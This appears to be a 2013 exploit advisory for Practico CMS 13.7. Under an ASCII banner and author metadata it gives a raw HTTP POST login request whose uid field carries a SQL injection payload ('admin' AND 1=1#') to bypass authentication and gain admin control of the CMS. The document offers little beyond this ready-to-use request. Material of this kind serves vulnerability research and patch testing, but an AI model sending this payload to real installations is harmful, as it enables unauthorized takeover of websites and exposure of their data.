Practico CMS 13.7 - Authentication Bypass

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#  ______     __       __   _____    ______   __      __  ____  __         __   _____
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#          /   /     |     |     |    |      |  |         \    \         |    |    |    | |     __| |      \     |    |       |  |
#        /    /      |     |__|    |      |  |            \   \       |    |__|    | |    |__  |       \    |    |       |  |
#      /    /        |      __     |      |  |              \   \     |    __      | |     __| |         \  |    |       |  |
#    /     /___  |     |    |     | __|  |__    ___\   \   |    |    |     | |    |__  |    | \    \|    |  __|  |__
#  |______|  |__|    |__| |______| |_____ | |__|    |__| |____| |__|   \___ | |_____ |
# 
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# Exploit Title: Practico Login SQL Injection
# Date: 2013 - 08 - 12
# Exploit Author: shiZheni
# Software Link: http://www.codigoabierto.org/
# Software Download Link : http://sourceforge.net/projects/practico/files/
# Version: 13.7 
# Afected Version : 13.7 < and Last 
# Tested on: Window 7 and PHP 5.3.15

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#1 [ SQLi]  Login - Admin ( Total Access )


POST /demo/practico/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Referer: http://localhost/demo/practico/
Host: localhost
Connection: keep-alive
Accept-Encoding: gzip, deflate

accion=Iniciar_login&uid=admin%27+AND+1%3D1%23&clave=password&captcha=mrr6

This vulnerability give you total access and control in the CMS.